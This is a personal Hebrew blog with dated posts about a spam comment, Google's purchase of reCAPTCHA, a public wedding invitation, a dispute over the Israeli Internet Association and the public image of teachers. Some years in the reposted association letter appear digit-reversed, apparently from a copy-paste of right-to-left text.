חשבתי לעצמי מה לעשות עם התגובה הזו, אז מלבד לסמן אותה כ"זבל", החלטתי כאקט מחאתי להעלות את הפוסט הזה (אשר כולל כל מיני מילות מפתח שקשורות במה שאותו ספאמר ניסה לקדם), וכך (בתקווה) להקשות עליו את מלאכת הקידום אף יותר.
באופן כללי, אני בעד שמעכשיו כל בלוגר שמקבל תגובות ספאם בעברית על נושא כלשהו, יכתוב בתגובה פוסט "קידום אתרים" טהור שיעסוק באותו התחום – רק בשביל להקשות על הקידום בגוגל של אותה המילה עבור הספאמר.
אגב, האימייל של הספאמר הוא: viagrabluepill@gmail.com (מה שרומז על האתר ששלח את הספאם). למקרה שמישהו רוצה (שלא) לקנות אצלו ויאגרה.
נ.ב: זה צירוף מקרים מעניין, כי לפני בדיוק שנה ויום פירסמתי פוסט דומה על תגובת ספאם שקיבלתי בבלוג שעסקה בסקס חינם.
11:52 אישתי הנפלא דבורה אוהבת לכנות את עצמה embodied scholar או "אשת אקדמיה אשר בגופה". מלבד היותה רקדנית מגיל 6, הרי שבגיל 20 היא החליטה לפנות לאקדמיה לתחום (שמי היה מאמין שקיים) בשם ההסטוריה של הריקוד, ענף בהסטוריה של האומנות שלא קיים (עדיין) בארץ, אבל שוקק וחי בארצות הברית (משם היא מגיעה).
עד אשר הכרתי את דב הייתי זר לעולם הריקוד, ושוב ושוב הייתי שואל אותה (ואני שואל עד היום) "למה זה בעצם חשוב?". למה ריקוד חשוב? למה אומנות חשובה?
דבורה נתנה לי אינספור תשובות עד היום, אבל אחת מהן שבלטה הייתה "לא ייתכן עולם של בני אדם שלא תהיה בו אומנות. בעולם שאין בו אומנות (וריקוד) הוא עולם שלא הייתי רוצה לחיות בו".
זו תשובה דרמטית וקצת מהממת, בעיקר בשביל מישהו כמוני שלא חי אומנות על בסיס קבוע.
אך אחת לכמה זמן אני נתקל במשהו שממחיש לי עד כמה דבורה צודקת. והקטע שלפניכם הוא קטע כזה.
הקטע הבא לקוח מסדרה אמריקאית בשם "אז אתה חושב שאתה יכול לרקוד?". סידרת המקור ל"נולד לרקוד" בארץ. בקצרה: אוספים רקדנים, נותנים להם לרקוד, מסננים אותם (דרך שופטים, ואז דרך הצבעות של הקהל דרך SMS-ים) עד שמגיעים ל"רקדן" הכי אהוד על הציבור (שימו לב – הכי אהוד, לא בהכרח הכי "טוב").
הסרטון הבא לקוח מאחד האודישנים שהיו עכשיו בסדרה, והוא מציג זוג הומואים רוקדים ריקוד שלרוב שמור לזוגות מהמין ההפוך.
הריקוד סוחף, נוגע ומרגש באופן שמציג עבורי, סטרייט שרחוק מהסצינה ההומו-לסבית, משהו חשוב לגבי העולם של האנשים הללו שחיים חיי זוגיות השונים (אך דומים) כל כך לאלו שלי.
הנה הקטע:
(התפרסם במקור כאן)
21:14 קפצ'ה היא מבחן המאפשר להבחין בין מחשב למכונה (סוג של מבחן טיורינג לעניים). כשמדברים על קפצ'ה באינטרנט, לרוב מדברים על האותיות המחורבשות שרואים כשצריך להכנס לאיזשהו אתר. אתרי אינטרנט משתמשים בתמונות הללו כיוון שבני אדם יכולים (לרוב) לקרוא אותם, בעוד שמחשבים לא. דוגמא לשימוש נפוץ הוא בהרשמה לחשבון אימייל חדש – החברה שמספקת את השירות דורשת מאיתנו הגולשים למלא ק'פצה (לפתור את הכתוב בתמונה), כדי לזהות שמי שמבקש את חשבון האימייל הוא אדם אמיתי, ולא תוכנת מחשב שמנסה לפתוח מאות אלפי חשבונות אי-מייל במכה אחת (ואז להשתמש בהם בשביל לשלוח דואר ספאם).
דוגמא נוספת לחשיבות הקפצ'ה תוכלו לקבל מקומיקס ה- XKCD המשובח הבא (לחצו על התמונה להגדלה וקריאה):
בחור מבריק אחד ששמו הוא לואיס וון האן, הקים בזמנו חברה בשם re-Captcha. הרעיון המבריק מאחורי המייזם שלו הוא לחבר בין שני צרכים משלימים:
הפתרון: re-Captcha. מדובר בטכנולוגיה המאפשרת להשתיל באתר (המרשה לה), מערכת שנותנת לגולש מסויים מבחן לזיהוי מילה סרוקה. בעל האתר מקבל לגלות האם הגולש הוא אדם אמיתי או לא, והמערכת מקבלת לדעת על אותה המילה מהי הפרשנות שלה.
להל"ן סרטון של 12 דקות שמסביר את כל אשר כתבתי:
החדשות – גוגל רכשו את ר-קפצ'ההיום גוגל פירסמו בבלוג שלהם הודעה על רכישת החברה ר-קפצ'ה (reCAPTCHA). טק-קרנצ' כתבו שגוגל עשו נסיונות בלפתח את הטכנולוגיה בעצמם, אך כנראה שגוגל הגיע למסקנה שיותר הגיוני לרכוש את החברה מאשר להמציא את הגלגל מחדש.
המשמעות המיידית וההשלכות לעתידהשירות ר-קפצ'ה כבר משמש כ- 100,000 אתרי אינטרנט. ועכשיו לאחר שגוגל רכשו אותם, אפשר לצפות לעוד אינספור אתרים שיתחיל להשתמש בשירות. המשמעות המיידית של זה תהיה שגוגל מקבלת מאות אלפי גולשים שיעזרו לה (בחינם) להקליד את הספרים שהיא סרקה לתוך השירות שלה גוגל-ספרים. המשמעות של זה תהיה שבעתיד הנראה לעין, עוד ועוד ספרים יהיו זמינים לחיפוש דרך השירות של גוגל-ספרים. בעתיד הבינוני אפשר אף לצפות שגוגל יוציאו שירות עבור כבדי-ראיה שבו גוגל תקריא להם ספרים (אני ממתין לשיתוף הפעולה הזה שיהיה בין גוגל לאמאזון).
בטווח הרחוק יותר, מדובר בהשקעה אסטרטגית מבריקה. גוגל לא רק זוכה לקבל תירגום של הספרים הסרוקים לטקסט שהמחשב יודע לזהות, היא גם מקבלת מאגר עצום וחסר תקדים של תירגום בין פיקסלים לאותיות. המידע הזה יאפשר לגוגל ליצור אלגוריתמים סטטיסטיים ל- OCR (זיהוי של אותיות מתוך פיקסלים של תמונה) ברמת דיוק שלדעתי האישית (והלא מקצועית) תהיה חסרת תחרות לכל אלגוריתם אחר שיהיה (עד אשר ימציאו בינה מלאכותית אמיתית).
ולמה להסתפק באנגלית? הרי גוגל יוכלו לקדם את הפרוייקט הזה לרשת האינטרנט בכל השפות המדוברות, ובכך ליצור אלגוריתמים סטטיסטיים לזיהוי אותיות ומילים (OCR) בכל שפה אנושית שאנשים המדברים אותה נמצאים ברשת.
אז האם הרכישה הזו טובה לנו או לא? סביר להניח שכן. הכוח של גוגל באינטרנט יאפשר להם להפיץ עוד יותר את השימוש בר-קפצ'ה, מה שאומר שבמקום שאנשים "יבזבזו" את התשובות שלהם על קפצ'ות (מה שקורה ברוב השירותים הקיימים), הרי שיהיה גוף שיאסוף את התשובות שלהם ויעשה בהם שימוש טוב.
ההסתייגות היחידה שלי היא החשש שזה יאפשר לגוגל להיות מונופול בתחום ה- OCR. אני מקווה לראות עוד שחקנים גדולים (מישהו אמר מייקרוסופט?) עולים לבמה ומתחילים לאסוף את המידע הזה. והכי הייתי מקווה אילו איזשהו אירגון (מייקרוסופט, היש סיכוי?) שיעשה שירות מתחרה אבל שהוא יהיה בנוי כך שיפתח את המידע לציבור לחלוטין. כלומר, שכל אחד מאיתנו יוכל להוריד קובץ גדול עם תמונות של מילים, ותירגומם לטקסט שמחשב "מבין" את המשמעות שלו.
לסיום – כיצד להשתמש באנשים כדי לזהות לא רק טקסט, אלא גם תמונות (הרצאה של 50 דקות על כיצד להשתמש באנשים במקום מחשבים)את ההרצאה הבאה ראיתי לפני יותר משנה, ומדובר באחת מההרצאות היותר מרתקות ופותחות אופקים – למי שיש את הזמן, מומלץ בחום:
23:22 בשאלה הזו נתקלתי היום כאשר קרוב משפחה יקר שלי איבד אתמול את ארנקו בנסיעת מונית. פניתי לחברים לעצה וקיבלתי מספר הצעות, לקרוב המשפחה שלי הם לא עזרו אבל אולי הם יעזרו לכם:
מקווה שלעולם לא תזדקקו לעצות האלה, אבל אם שכן – שיהיו לכם זמינים.
אם יש לכם עוד הצעות או סיפורים, אתם מוזמנים לשתף…
14:35 חברים יקרים,
דבורה ואני מצפים לחגוג איתכם את נישואינו בבוקר של יום שישי, ה- 11 לספטמבר!
הנה מספר פרטים אודות החגיגה:
מתי:
8:30 – מארגנים את המקום. מי שרוצה לבוא לעזור – מוזמן.
9:00 – "קבלת פנים"
10:00 – טקס אלטרנטיבי קצר ולאחריו מספר הופעות של חברים (אם ברצונכם לשיר, לרקוד, לדבר או כל אחר – אתם מוזמנים!)
איפה:
פארק הירקון, ממול לרחוב הרב קוסובסקי (באיזור בבלי) – הנה לינק למפת המקום (מתוך הלינק גם תוכלו לקבל את שמות הרחובות שבאיזור ואף אפשרות לקבל הוראות הגעה מביתכם)
כיצד להגיע לשם: קווי האוטובוס של דן מגיעים לאיזור (על אף שתצטרכו ללכת מעט), חייגו ל- 03-6394444 בשביל הוראות הגעה מדוייקות.
מה להביא:
מתנות – אין צורך. כלומר, אתם תמיד יכולים ואנחנו נשמח לקבל. אבל הסיבה שיצרנו אירוע באופן כזה היא כדי שלא "לכפות" על חברינו לשלם צ'קים רק בשביל לכסות את המנה. המתנה הכי חשובה בשבילנו היא שתבואו לשמוח בשמחתנו ולהעניק לנו מאהבתכם.
אוכל – אם כבר כתבתם לנו מה תביאו אז תביאו זאת. אם אינכם בטוחים מה להביא אז תביאו אחד (או יותר) מהדברים הבאים: גבינות, ממרחים, סלטים (גם סלטים קנויים זה סבבה), משקאות קלים, חומוס, פירות.
מה עוד להביא – שמיכות לשבת עליהן (ואף כיסאות אם יש לכם), מצלמות (צלמו תמונות בבקשה בבקשה ואם תעלו אותן לאנשהו אז תחת מילת הטג DEBANDTAL), ומומלץ גם לבוא עם כובע ומשקפי שמש.
ביום האירוע, תוכלו לחייג אל דב או אלי – אנו נשאיר את המכשירים בידי חברינו שיענו לשאלות ויעזרו ככל יכולתם:
052-7275805 (Deb)
052-7275845 (Tal
ותמונות או סרטים או מה שיהיה נעלה מאוחר יותר ב:
www.debandtal.com
באהבה,
דבורה וטל גלילי
* * *
And here is the same text in English:
Dear friends,
We're looking forward to celebrating our marriage with you on the morning of this Friday, the 11th of September! Here's a reminder with details about the party:
When: 8:30 a.m. – Set up, for those who want to help. 9:00 a.m. – Reception. 10:00 a.m. – Short alternative ceremony, followed by a few creative performances. If you would like to sing, dance, speak, etc., you are welcome to!
Where: Park HaYarkon, opposite 40 HaRav Kosowski (in Bavli)
How to get there: Monit Sherut 5 goes near this area; so do several buses which stop on Namir (call Dan Bus at 03-6394444 for exact directions from your location to the area)
What to bring: 1. some food or drink to share* 2. a picnic blanket or towel, if you have one; chairs are also helpful 3. cameras! Please take pictures 4. sunglasses, hats, sunscreen, etc.
*If you have not yet listed what you are bringing on our RSVP form, here are a few suggestions: cheeses, spreads, hummus, salads, fruit, drinks
See you on Friday!
Love,
Deb and Tal
www.debandtal.com
052-7275805 (Deb)
052-7275845 (Tal)
20:05 בהמשך לדברים שהועלו ברחבי הרשת מאתמול (החל מהכתבה של רועי שלומי בווינט, וכלה בשאר ההתרחשויות בבלוגוספירה), החליטו אנשים אחרים ואני בתוכם להצטרף לאיגוד האינטרנט הישראלי.
רימון לוי, נשיא איגוד האינטרנט הישראלי, שלח כעת מכתב לנרשמים החדשים לאיגוד, מתוך רצון לתת מידע ואת דעותיו על הנאמר.
עבור האנשים שעוד לא נרשמו לאיגוד, אני מביא כאן את המכתב כלשונו (אשמח לדעות ותגובות):
אתם יכולים להוריד את ה- PDF מהלינק הזה: welcome_newmember (או לקרוא את הטקסט פה מתחת)
מידע למצטרף הטרי לאיגוד האינטרנט הישראלי:
עובדות, נתונים ותפקידו האיגוד
חבר יקר, אני מברך אותך על הצטרפותך לאיגוד האינטרנט הישראלי . כולי תקווה
שהצטרפותך תלווה גם פעילות וניסיון השפעה על פעולות האיגוד , על פי הכרתך והשקפתך.
אני מייחס את הצטרפותם של מספר חברים בעת האחרונה לתגובה למאמר עמדה שפרסם
רועי שלומי ב Ynetובבלוג שלו. אני שמח שהפרסומים הביאו להצטרפות חברים רבים.
אני לא ממש מסכים עם דעותיו של רועי על מטרות קיומו של איגוד האינטרנט , ועל כך
אתייחס בקצרה בהמשך. אני רוצה לנצל הזדמנות זו דווקא כדי לעסוק ב הבהרת כמה
קביעות שהוצגו כעובדות והן פשוט לא נכונות בפרסומים של רועי, ובכמה שאלות רטוריות ,
שלא לומר מניפולטיביות , שהוא מעלה – היוצרות מצג שווא .
ראשית, בואו נראה את העובדות :
דוחות כספיים: כל הדוחות הכספיים של האיגוד עומדים לרשות הציבור , מיום
הקמת האיגוד, וניתנים לעיון אצל רשם העמותות . מה שרועי שלומי ציין כדוחות
"חסומים בסיסמא", הם הדוחות הכספיים של 8002 שטרם אושרו באסיפה הכללית
של האיגוד שצריכה להתקיים ב – 51 בספטמבר 9002. לאחר אישורם, הם יתפרסמו
יחד עם כל הדוחות הקודמים .
" ISOCבעולם הוא ארגון עצמאי, הממומן מתרומות ודמי חבר ואינו קשור לארגון
ICANNהעולמי": לא נכון. ISOCמפעיל את מרשם שמות המתחם בסיומת
הגלובלית .orgהחברות ב- ISOCאינה כרוכה כלל בדמי חבר , וחלק הארי מתקציבו
מגיע ממרשם שמות המתחם. ISOCפועלת בשיתוף פעולה הדוק עם ICANN
ולמעשה מפגשים של ,ISOCכולל ישיבות הנהלה מתקיימים לרוב במסגרת כנסים
של ( ICANNאני בעצמי השתתפתי בכנס כזה בפריז ביוני 8002, ודרך אגב – על
חשבוני הפרטי וללא עלות של שקל אחד לאיגוד האינטרנט ).
השינויים בתקנון בנושא הזכות לבחור ולהיבחר: מזה שנים קיימת מגבלת זמן
לחברות לצורך קבלת זכות לבחור ולהיבחר . הנחת העבודה היא שאדם צריך קודם
להכיר את הארגון ותחומי פעילותו לפני שהוא יוכל לבחור. בשנה שעברה, האסיפה
הכללית קיבלה החלטות להקלה לגבי זכות הצבעה , בכך שבוצע שינוי בתקנון
המאפשר לקצר את זמן ההמתנה למי שהיה חבר שנתיים מתוך החמש שנים
האחרונות. השינויים המוצעים כעת הם טכניים בלבד ובאים בעקבות דרישת רשם
העמותות, שקבע שמי שלא יכול לבחור ולהיבחר צריך להיות מכונה "ידיד העמותה",
ולא חבר. יש שינויים נוספים מוצעים הבאים כתוצאה מהערות רשם העמותות . כל
המידע יוצג כמובן באסיפה הכללית .
שינוי במספר חברי הנהלה וזמן כהונה: הכוונה היא להגדיל את מספר חברי
ההנהלה מ- 7 ל- 9, במטרה להרחיב את מספר מקבלי ההחלטות והעוסקים
במלאכה חברים חדשים בהנהלה ציינו גם שלוקח זמן להכיר את הארגון , ושנתיים
נראו להם זמן קצר מדי. היות והיום מתקיימות בחירות כל שנה , כאשר בשנה אחת
מתחלפים 3 חברי הנהלה ובשנה שלאחריה מתחלפים 4, חשבנו שזה יהיה נכון
לעבור לשיטה עקבית, בה כל שנה נבחרים 3 חברי הנהלה, בסבב של 3 שנים. גם
שומר על רציפות, גם מאפשר תחלופה.
"כדי להצטרף לועד העמותה נדרש ותק של שנתיים" – פשוט לא נכון, לא מובן למה
נכתב כך
"רק בשנה שעברה הנושא המרכזי באסיפה, היה המצב החריג שנוצר באיגוד ובו היו
יותר מקומות לבחירה מאשר מועמדים לוועד". לא ממש נכון. בבחירות בנובמבר
7002 אמנם מספר המועמדים היה שווה למספר המקומות , ולכן באסיפה הכללית
בספטמבר 8002 נדונו דרכים לעודד הצגת מועמדות. ואכן, בבחירות בנובמבר
8002, הציגו מועמדותם 9 חברים לארבע המושבים, ומתוך 4 חברי הנהלה שנבחרו,
שניים הם חדשים שמעולם לא כיהנו כחברי הנהלה . אני אישית חתמתי על מכתבי
המלצה לשני מועמדים שלא היו חברי הנהלה על מנת לעודד אותם להתמודד
בבחירות בהן אני הייתי מועמד בעצמי . אני יודע על עוד שני מועמדים שלא היו חברי
הנהלה וקיבלו מכתבי המלצה מחברי הנהלה אחרים .
על השקיפות: רועי שלומי מבקש לקבל פירוט מענקי מחקר. הרי אין קל מזה:
[www.isoc.org.il]
יש כמובן גם מידע נוסף באתר האיגוד , ציבורי ופתוח לכל . צריך רק לגשת לאתר.
מנהל תקין א': רועי מבקש לקבל מידע על נסיעות "משלחות" של חברי ועד לחו"ל
בשנים 9002-8002. כאן באמת תפסו אותנו: באמת אין ביכולתנו לדווח , מהסיבה
הפשוטה שבעשור האחרון, הנסיעה היחידה של חבר ועד לחו "ל הייתה בשנת 5002
בכנס חברת המידע ) (WSISבטוניס, לבקשת ממשלת ישראל . לא היו אחרות.
מנהל תקין ב: עוד מבקש רועי להציג את כל הכספים ששולמו לחברי הועד (כולל
החזר הוצאות). בכל שנת 8002, סך הכל החזרי הוצאות לכלל חברי ההנהלה
הסתכם ב- 3901 ₪ (אלף ותשעים ושלוש ה שקלים חדשים). מזה אני אישית
קיבלתי כהחזר נסיעות ברכבת ומונית לישיבות + חניה סך של 931 ₪, חבר הנהלה
אחר קיבל החזר של 363 ₪ על כן שהוא קנה מכספו מתנה למי שניהל בהתנדבות
את בחירת הזוכים במענקי מחקר (אף חבר הנהלה לא היה מעורב בבחירת הזוכים),
ועוד 195 ₪ החזר הוצאות לחבר הנהלה אחר על אירוח אורח מחו "ל שבא לכנס
השנתי. 4 חברי הנהלה אחרים לא קיבלו כלל החזרי הוצאות , או תמורה כספית
כלשהי בשנת 8002 (טוב, אם לא לוקחים בחשבון את הסנדוויץ ' טונה המוגש
בישיבות -– אני אישית נהנה מהירקות …- ולא, אין בורקס).
אני מקווה שחלק מכם יציג מועמדות לבחירות להנהלה – אבל שלא יהיו אשליות :
עבודה חשובה ומעניינת תהיה בשפע – תגמול חומרי ממש לא.
אלו העובדות. ועכשיו לכמה הערות עקרוניות על תפקיד איגוד האינטרנט כפי שאני
רואה אותו, וכפי שנובע מהתקנון והאמנה שלו , שהנחו את פעילותו במהלך כל שנות
קיומו.
האיגוד רואה את תפקידו כמאפשר, ,Internet enablerבחברה הישראלית. אנו
רואים עצמנו כגורם מרכזי לפעילות הורדת חסמי גישה לאינטרנט , ולייצוג החברה
האזרחית, כצלע שלישית בשיתוף הממשלה והסקטור העסקי . אחת המשימות
העיקריות שלנו היא לפעול לשמירת אינטרנט חופשי , הורדת חסמי גישה ומתן
אפשרות לכל אזרח במדינה ליהנות מיתרונות האינטרנט להשגת מטרותיו (במסגרת
החוק), כל אחד על פי השקפת עולמו.
כך לגבי תשתיות אינטרנט כמו מערך שמות המתחם ( )ccTLDתחת . .ilבניגוד
למה שחושבים אנשים שמצויים פחות ב מבנה תשתית רשת האינטרנט , מערך ה-
DNSהוא קריטי ורמת השירות הניתנת בו חייבת להיות גבוהה ביותר . איגוד
האינטרנט מספק שירות זה לקהילת האינטרנט במדינת ישראל מזה כ- 31 שנים. כמו
בכל המדינות המערביות הרישום מנוהל על ידי ארגונים ללא מטרות רווח . זאת,
בניגוד למדינות כמו ויאטמם ואפגניסטן, בהן מערך שמות המתחם מנוהל על ידי
הממשלה, או במדינות כמו מיקרונזיה ואתיופיה בהם גורמים עסקיים מנהלים את
הרישום (לטובת בעלי מניותיהם ).
האיגוד פעל ופועל במגוון רב של צירים , חלקם באופן עצמאי, חלקם עם שותפים,
חלק באופן גלוי וחלק מאחורי הקלעים. הקלעים . בין היתר, הביא האיגוד להעלאת
עבודות דוקטורט האינטרנט לשימוש חופשי של הציבור , קידום חוק דואר הזבל
בישראל, שמירה על ניטראליות הרשת והשימוש ב VOIPבמכשירים ניידים , עידוד
פרוייקטי קוד פתוח, קידום הקמת מאגר נתוני האינטרנט בישראל , חינוך והסברה
לשימוש נבון ברשת , תמיכה ב אינטרנט לבני הגיל השלישי, הפעלת קבוצת משימה
נגישות לאינטרנט לאנשים עם מוגבלות ועוד פעילויות רבות .
נכון, תמיד אפשר לשפר ולקדם, ואנו עושים זאת משנה לשנה ותמיד שמחים
לכתפיים נוספות לשאת בעול . (היו פה הרבה לינקים, אבל ההעתקה עשתה בעיות בלשמור את הלינקים)
אכן, מקור המימון המרכזי הוא מיתרות שיצר מרשם השמות . אנו דואגים שיתרות
אלה, כשהן קיימות , תחזורנה לציבור (ולאו דווקא לחברי האיגוד , גם לא לרושמי
שמות מתחם, אלא לכלל הציבור בישראל).
כמו רבים מכם, שאני מכיר אישית , מניע אותנו הרצון לפעול למען חברה טובה יותר ,
פתוחה ופלורליסטית. יש מי שאינם מסוגלים לדמיין מצב שאדם יפעל ללא תגמול
חומרי, וכאשר נתקל בכאלו אינם יכולים אלא להניח שהמניעים שלו נסתרים ואפלים .
אם הנך שייך לסוג הראשון , אשמח על הצטרפותך לאיגוד, ומקווה לראות אותך יום
אחד מחליף אותי בתפקידי – שאמנם מלא סיפוק של עשייה , אבל דורש השקעת
המון מאמץ ואנרגיה .
בברכה,
רימון לוי
נשיא האיגוד
18:14 הרגע הצטרפתי לאיגוד האינטרנט הישראלי (70 ש"ח לשנה).
בפוסט שלפניכם אסביר מדוע עשיתי זאת (ובעצם, מדוע כדאי אולי שגם אתם תעשו זאת).
איגוד האינטרנט הישראלי (לקוח מוויקיפדיה) הוא עמותה הפועלת לקידום השימוש באינטרנט לצורכי מחקר, תקשורת ושיתוף פעולה בין גורמים שונים. למרות היותו גוף עצמאי ובלתי תלוי, נחשב האיגוד בעל השפעה רבה בתחום האינטרנט ומהווה סמכות עליונה בנושאים שונים.
החדשות הטובות: לאיגוד האינטרנט הישראלי יש לא מעט כסף וקשרים והוא בעל השפעה רבה בתחום האינטרנט בארץ. היה לי את הזכות לעבוד מול אנשים באיגוד במעורבותי באירגון וורדקמפ ישראל 2007, וגם ב- 2008. אנשים מקסימים כמו נהורא, מי-טל אייל סלע (וכנראה עוד כמה שכרגע פרח לי שמם, ואני מתנצל על כך) – שהראו רמה גבוהה מאד של מקצועיות, אדיבות ואיכפתיות בכל מגעי איתם. אך אנשים טובים אלו אינם האנשים היחידים באיגוד.
החדשות הפחות טובות:
בגלל שהאיגוד הוא גורם כל כך חשוב באינטרנט הישראלי, ושהחלון עבורנו (בוני האתרים ומשתמשי האינטרנט באופן כללי) להשפיע על התנהלותו עלול בקרוב להסגר. החלטתי היום להירשם לאיגוד ולהבטיח את זכותי להשפיע על איך הוא (והאינטרנט של כולנו) יראה בעתיד.
בדקות אלו אני כבר רואה בטוויטוספירה עוד ועוד טוויטים של אנשים שכותבים שהם נרשמו לאיגוד. כדי להשאר במעקב, חפשו את תגיות ההש: #ISOC
כדי להצטרף לאיגוד, כל שעליכם לעשות הוא להכנס לעמוד ההרשמה שכאן (אשר אפשר להגיע אליו דרך העמוד הזה). ההרשמה לקחה לי פחות מ- 5 דקות, ו – 50 שקל (כי אני סטודנט. זה היה עולה 70 שקל אחרת). לחברות באיגוד יש גם כמה הטבות עליהם תוכלו לקרוא כאן, אבל לא לשם כך נרשמתי – אלא בשביל האפשרות להשפיע על האירגון החשוב ביותר בארץ לעתיד האינטרנט בישראלי.
* * * * *
מה הוביל אותי לנושא הזה?
הקריאה של רועי שלומי בבלוג שלו "איגוד האינטרנט הישראלי צריך להשתנות" (שנכתב כהרחבה למאמר שהוא פירסם היום בווינט "איגוד האינטרנט הישראלי: ככה עושים כסף ברשת"). שני המאמרים הללו נותנים הצצה לעולם הפנימי שמתנהל בתוך איגוד האינטרנט הישראלי. המאמרים מציגים כמה מפעילויות האיגוד, על חלקם אני יכול להסכים ועל חלקם להתמרמר. אני ממליץ לכם להכנס למאמרים ולעקוב אחר המידע שרועי מוסר בעצמכם. אך אם לתמצת חלק מהדברים שמפורטים שם, הנה כמה דוגמאות.
פירוט של הכנסות והוצאות שונות באיגוד, לדוגמא (עבור שנת 2008):
אופן התנהלות האירגון:
למרות חיבתי העזה לאנשים העובדים באיגוד איתם באתי במגע, הרי שההתנהלות הזו נראית בעיני כראויה לשיפור. והדרך היחידה לעשות זאת היא להירשם לאיגוד בשבועיים הקרובים, ולהצטרף לתנועה של אנשים שמעוניינים לראות שיפור באיגוד האינטרנט הישראלי כך שיהיה יותר דמוקרטי מכפי שהוא כעת.
והרשו לי להדגיש שוב שאני מאד מעריך חלק מהפעילויות שהאיגוד השתתף בו. החל מסיוע במניעת צנזורה על האינטרנט וכלה ביוזמה למאגר נתונים כולל על האינטרנט בישראל. אני לא חושב שהאיגוד צריך להתעסק רק בדומיינים, ואני שמח על (לפחות חלק) מהפעילויות שהוא מקדם!
מה באפשרותכם לעשות:
תודה.
בלוגרים אחרים שהצטרפו:
שרון
יובל
קלינגר
(אם גם אתם הצטרפתם, ספרו לי שאתן לינק )
23:07 "כשאני אהיה גדול אני רוצה להיות מורה" – זהו שמה של ההרצאה שנתן גדעון עמיחי (המנכ"ל המשותף במשרד הפרסום שלמור-אבנון-עמיחי) מכנס "העיר" לחינוך בחולון. ההרצאה היא של 20 דקות וניתן לצפות בה כאן. (התגלה תודות לעומר פרצ'יק בטוויטר – תודה)
כשהתחלתי לצפות בהרצאה לא חשבתי שאראה אותה עד לסיומה, אך הרהיטות והתשוקה של גדעון משכה אותי עד לסופה של ההרצאה ואף לכתוב את הפוסט שלפניכם.
גדעון עמיחי מדבר על תדמית המורה בישראל. תדמית שהיא, כפי שכולנו יודעים (וגם מבלי להציג נתונים סטטיסטיים), איננה חיובית. כשאני חושב על מורים בארץ, המילים שעולות לי לראש הן: שביתות, שכר נמוך, עומס עבודה, חוסר שביעות רצון. ההרצאה של גדעון העירה אצלי את תשומת הלב שה"מותג" הזה שיש לי על מיהו מורה, איננה מבוססת על עובדות אלא על רשמים אישיים (ולא מבוססים) שהתגבשו בשנים האחרונות. אי לכך, החלטתי לחטט אצבעותי ולפנות ללמ"ס (הלשכה המרכזית לסטטיסטיקה) כדי לראות מה הם יכולים לספר לי על מצב המורה בארץ, שם מצאתי מספר נתונים מעניינים.
לדוגמא, מצאתי את ההודעה הבאה לעיתונות: "הסקר החברתי 2008: כיצד תופשים הישראלים את מצבם הכלכלי?". בעמוד השלישי של המסמך הזה הופיעה גרף (מה שמכונה גרף פרמידה), אשר מראה עבור 18 מקצועות מהו אחוז הנשאלים אשר מרוצים מההכנסה שלהם, לעומת מהו אחוז הנשאלים אשר מרוצים מעבודתם.
מה שהגרף מראה (ושלא הפליא אותי) היה שרק 40% מהמורים היו מרוצים ממשכורתם (בערך כמו עובדי נקיון), זאת לעומת מקצועות אשר זכו ללמעלה מ- 60% מהנשאלים אשר היו מרוצים ממשכורתם (כגון: שופטים, רופאים, כלכלנים, מנהלים בכירים, מהנדסים, עובדי היי-טק ועוד).
אך מה שכן התפלאתי לראות מהגרף היה אחוז הנשאלים שהיו מרוצים מעבודתם. מסתבר שמורים מרוצים מהעבודה אותם הם מבצעים לא פחות (אם אף לא טיפה יותר, אין רווחי סמך כדי להחליט) מאשר מתכנתים, שופטים, מהלים ועוד.
הנה הגרף להנאתכם (הקישו על התמונה כדי לראותה מוגדלת):
(למי שרוצים לחפור ולמצוא עוד אנקדוטות מעניינות, עליכם רק להכנס לאתר הלמס ולהקיש במנוע החיפוש מימין למעלה את המילה "מורים", מה שמחזיר הרבה תוצאות שנראה מעניין יהיה לדעת מה מסתתר מאחוריהן)
מצאתי את הנתון הזה מעניין כי הוא עזר לי להבין שהדימוי שיש לי של המורה איננו מושלם. אומנם רוב המורים (60% מהם למעשה) לא מרוצים ממשכורתם, אבל הרבה מאד מהם מרוצים מעבודתם (בערך 90% מביניהם). כך שאילו הייתי צריך לייעץ לידיד על סמך הנתונים הללו בלבד (מה שכמובן לא היה קורה במציאות, אבל עדיין) הרי שהייתי אומר לו שאם הוא חושב להיות: מוכר בחנות, נהג, עובד נקיון או עובד מטבח, או מטפל סיעודי – הרי שעדיף לו כנראה שעדיף לו ללכת להוראה (בהנחה שהוא פחות או יותר מסוגל להשתלב כמו שצריך). וזאת משום שבמקצועות שציינתי הסיכויים הם שהוא לא יהיה מרוצה ממשכורתו באותה מידה כמו שמורה לא מרוצה ממשכורתו, אבל יהיה לו סיכוי טוב יותר להיות מסופק מהעבודה שהוא עושה (מה שבטח אפשר לקשר עם איכות חיים גבוהה יותר ותוחלת חיים ארוכה יותר, אבל אין לי נתונים על זה אז זה רק ניחוש).
וסיבה להאמין שהוא לא בהכרח היה הולך להוראה אלא היה הולך לאחד המקצועות האחרים, היא בגלל המותג הכושל של המורה בארצנו.
הערת ביניים: ברור לי שהלוגיקה שאני מציג היא מאד שיטחית ולא ממצה. עם זאת, אני חושב שזה אנקדוטה מעניינת שמציגה את האינטואיציה (הדי שיטחית שלי, אני מודה) על למה מיתוג של "המורה" בארץ יכול להיות משמעותי.
ובשלב זה אפשר לחזור להרצאתו של גדעון.
למול המילים השליליות שעלו במוחי במחשבה על המורה בארץ, הרי שגדעון מביא דוגמאות לאופן שבו מוצגת תדמית המורה בארה"ב. הוא מביא דוגמאות לסרטים מוכרים אשר מעלים על נס את המורה ("סיפורו של ויל הנטינג" הוא הכי עדכני מביניהם). הוא אף מביא קטע מרתק שבו שואלים פוליטיקאים מובילים בארה"ב (אובאמה, קלינטון וכו') מי היה המורה האהוב עליהם בילדותם (תחילת הקטע מקוטע אבל שאריתו צלול ופריך)
גדעון מקדם ומשכנע בהרצאתו (הפשוטה אך נוגעת) שחשוב לקדם את תדמית המורה בארץ. הוא מבהיר שקמפיין פירסומי קצר טווח לא יספיק, ושראוי לתת לנושא זה חשיבה אסטרטגית ארוכת טווח. אחד הרעיונות שהוא מציג הוא להעלות לאוויר סדרת דרמה על "מורים" (כמו שעשו עבור מילואימניקים) – אני בעד.
ישנו סיפור על חברת תעופה (שאינני זוכר את שמה) שהתרסק לה מטוס. במקום להשקיע כסף בשיפור מערך התחזוקה שלה, היא הוציאה סכומי עתק על פירסום ושיווק. האם זה מה שצריך היה לעשות בארץ? במקום לתת למורים יותר כסף, לנסות לשווק את המקצוע יותר טוב וכך להביא אליו יותר אנשים (ובתקווה יותר איכותיים, עם יותר שאיפות ותקווה). מי יודע, אולי.
